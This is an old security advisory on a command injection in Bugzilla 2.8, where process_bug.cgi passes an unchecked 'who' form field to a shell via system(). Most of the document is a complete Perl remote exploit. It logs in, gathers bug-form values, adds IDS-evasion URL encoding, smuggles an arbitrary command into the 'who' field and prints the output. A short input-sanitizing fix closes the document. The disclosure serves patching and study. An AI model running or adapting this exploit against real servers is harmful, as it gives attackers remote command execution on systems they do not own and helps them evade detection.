COMMAND
Bugzilla
SYSTEMS AFFECTED
Bugzilla 2.8
PROBLEM
Frank van Vliet found following. Bugzilla is a database for
bugs. It let's people report bugs and assigns these bugs to the
appropriate developers. Developers can use bugzilla to keep a
to-do list as well as to prioritize, schedule and track
dependencies. Not all 'bugs' are bugs. Some items in the
database are known as Enhancement Requests or Requests For
Enhancement (RFE for short). An RFE is a bug whose severity
field is set to 'enhancement'. People often say 'bug' when they
mean 'item in bugzilla', so RFE's often get wind up being called
bugs. Enter the tasks you're planning to work on as enhancement
requests and bugzilla will help you track them and allow others
to see what you plan to work on. If people can see your flight
plan, they can avoid duplicating your work and can possibly help
out or offer feedback.
This boils down to a set of cgi scripts, that connect to a
database and play with bugreports.
One of those scripts, `process_bug.cgi`, handles the submission
of new bugs, and calls the perlscript `processmail` via
system("./processmail $::FORM{'dup_id'} $::FORM{'who'}");
if this bugreport is a duplicate of the bug with id 'dup_id'
system("./processmail $id $::FORM{'who'}");
for a normal bugreport
system("./processmail $k $::FORM{'who'}");
for every bugreport that depend on this one.
There are no checks on the contents of the field who (which
$::FORM{'who'} refers to). This can be exploited because
$::FORM{'who'} is basically the field `who` when submitted a bug
and there are no checks on its contents. So we submit it with
who=blaat@blaat.com;id;&<other fields>
This is my version of the exploit, it uses the duplicate option
for a not existing bug so it won't even show up anywhere because
it is rejected (after the processmail).
#!/usr/bin/perl
# Bugzilla 2.8 remote exploit
# by {} - karin@root66.nl.eu.org
# RooT66 - http://root66.nl.eu.org
# ShellOracle - http://www.shelloracle.cjb.net
# b0f - http://b0f.freebsd.lublin.pl
#
# This exploits uses antiIDS tricks ripped from whisker
# next 2 functinos stolen from whisker, commented by me
sub rstr { # no, this is not a cryptographically-robust number generator
my $str,$c;
$drift=(rand() * 10) % 10;
for($c=0;$c<10+$drift;$c++){
$str .= chr(((rand() * 26) % 26) + 97);} # yes, we only use a-z
return $str;}
sub antiIDS {
($url) = (@_);
$url =~s/([-a-zA-Z0-9.\<\>\\\|\'\`])/sprintf("%%%x",ord($1))/ge;
$url =~ s/\ /+/g;
$url =~s/\//\/.\//g;
return $url;
}
#end of stolen stuff
($complete_url, $Bugzilla_login, $Bugzilla_password, $command) = (@ARGV);
print("Exploit for Bugzilla up to version 2.8\n");
print(" by {} - karin\@root66.nl.eu.org\n");
print("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n");
print("RooT66 - http://root66.nl.eu.org\n");
print("ShellOracle - http://www.shelloracle.cjb.net\n");
print("b0f - http://b0f.freebsd.lublin.pl\n");
print("\n");
if ($complete_url eq "-h" || $complete_url eq "--help") {
print("Usage: $0 url emailaddress password command\n");
exit;
}
# Get information of user
if (!$complete_url) {
print("URL: ");
$complete_url = <STDIN>; chomp($complete_url); $complete_url =~ s/http:\/\///;
}
if (!$Bugzilla_login) {
print("EMAIL: ");
$Bugzilla_login = <STDIN>; chomp($Bugzilla_login);
}
if (!$Bugzilla_password) {
print("PASSWORD: ");
$Bugzilla_password = <STDIN>; chomp($Bugzilla_password);
}
if (!$command) {
print("COMMAND: ");
$command = <STDIN>; chomp($command);
}
# Set some variables
$host = $complete_url; $host =~ s/\/.*//;
$base_dir = $complete_url; $base_dir =~ s/^$host//; $base_dir =~ s/[a-zA-Z.]*$//;
# Make own directory
system("mkdir $$");
print("Getting information needed to submit our 'bug'\n");
# Get product name
system("cd $$; lynx -source \"http://$host/" . antiIDS("$base_dir/enter_bug.cgi") . "?Bugzilla_login=" . antiIDS("$Bugzilla_login") . "&Bugzilla_password=" . antiIDS("$Bugzilla_password") . "\" > enter_bug.cgi");
open(FILE, "< $$/enter_bug.cgi");
while($input = <FILE>) {
if ($input =~ /enter_bug.cgi\?product=/) {
chomp($input);
$product = $input;
$product =~ s/.*product=//;
$product =~ s/".*//;
if ($product =~ /\&component=/) {
$component = $product;
$product =~ s/&.*//; # strip component
$component =~ s/.*component=//;
$component =~ s/".*//;
}
}
}
print("\tProduct: $product\n");
if ($component) {
print("\tComponent: $component\n");
}
# Get more information
$page = antiIDS("$base_dir/enter_bug.cgi?") . "product=" . antiIDS("$product") . "&Bugzilla_login=" . antiIDS("$Bugzilla_login") . "&Bugzilla_password=" . antiIDS("$Bugzilla_password");
system("cd $$; lynx -dump \"http://$host/$page\" > enter_bug.cgi");
open(FILE, "< $$/enter_bug.cgi");
while($input = <FILE>) {
chomp($input);
if ($input =~ /Reporter:/) {
$reporter = $input;
$reporter =~ s/.*Reporter: //;
$reporter =~ s/\ .*//;
}
if ($input =~ /Version:/) {
$version = $input;
$version =~ s/.*Version: \[//;
$version =~ s/\.*\].*//;
}
if ($input =~ /Component:/) {
$component = $input;
$component =~ s/.*Component: \[//;
$component =~ s/\.*\].*//;
}
if ($input =~ /Platform:/) {
$platform = $input;
$platform =~ s/.*Platform: \[//;
$platform =~ s/\.*\].*//;
}
if ($input =~ /OS:/) {
$os = $input;
$os =~ s/.*OS: \[//;
$os =~ s/\.*\].*//;
}
if ($input =~ /Priority:/) {
$priority = $input;
$priority =~ s/.*Priority: \[//;
$priority =~ s/\].*//;
}
if ($input =~ /Severity:/) {
$severity = $input;
$severity =~ s/.*Severity: \[//;
$severity =~ s/\.*\].*//;
}
}
print("\tReporter: $reporter\n");
print("\tVersion: $version\n");
print("\tComponent: $component\n");
print("\tPlatform: $platform\n");
print("\tOS: $os\n");
print("\tPriority: $priority\n");
print("\tSeverity: $severity\n");
close(FILE);
#liftoff
print("Sending evil bug report\n");
$page = antiIDS("$base_dir/process_bug.cgi") . "?bug_status=" . antiIDS("NEW") . "&reporter=" . antiIDS($reporter) . "&product=" . antiIDS("$product") . "&version=" . antiIDS("$version") . "&component=" . antiIDS("$component") . "&rep_platform=" . antiID
S("$platform") . "&op_sys=" . antiIDS($os) . "&priority=" . antiIDS($priority) . "&bug_severity=" . antiIDS($severity) . "&who=". antiIDS("blaat\@blaat.com;echo \\<pre\\>START OUTPUT COMMAND;$command;echo \\<\\/pre\\>END OUTPUT COMMAND;") . "&knob=" . ant
iIDS("duplicate") . "&dup_id=" . antiIDS("202021234123412341234") . "&Bugzilla_login=" . antiIDS($Bugzilla_login) . "&Bugzilla_password=" . antiIDS($Bugzilla_password) . "&assigned_to=&cc=&bug_file_loc=&short_desc=&comment=&form_name=enter_bug";
system("cd $$; lynx -dump \"$host/$page\" > enter_bug.cgi");
open(FILE, "< $$/enter_bug.cgi");
while($input = <FILE>) {
chomp($input);
if ($input =~ /END OUTPUT COMMAND/) {
$startoutput = 0;
}
if ($startoutput) {
print("$input\n");
}
if ($input =~ /START OUTPUT COMMAND/) {
$startoutput = 1;
}
}
close(FILE);
# Delete shit
system("rm -rf $$");
SOLUTION
At the start of process_mail, we just set a regular expression on
$::FORM{'who'} lets append to
if (!defined $::FORM{'who'}) {
$::FORM{'who'} = $::COOKIE{'Bugzilla_login'};
}
the following:
# fix by {} - karin@root66.nl.eu.org
# we wouldn't like some hacker including shellchars, whould we?
$::FORM{'who'} =~ s/[^a-zA-Z0-9\@_\-\.\/\+]//g;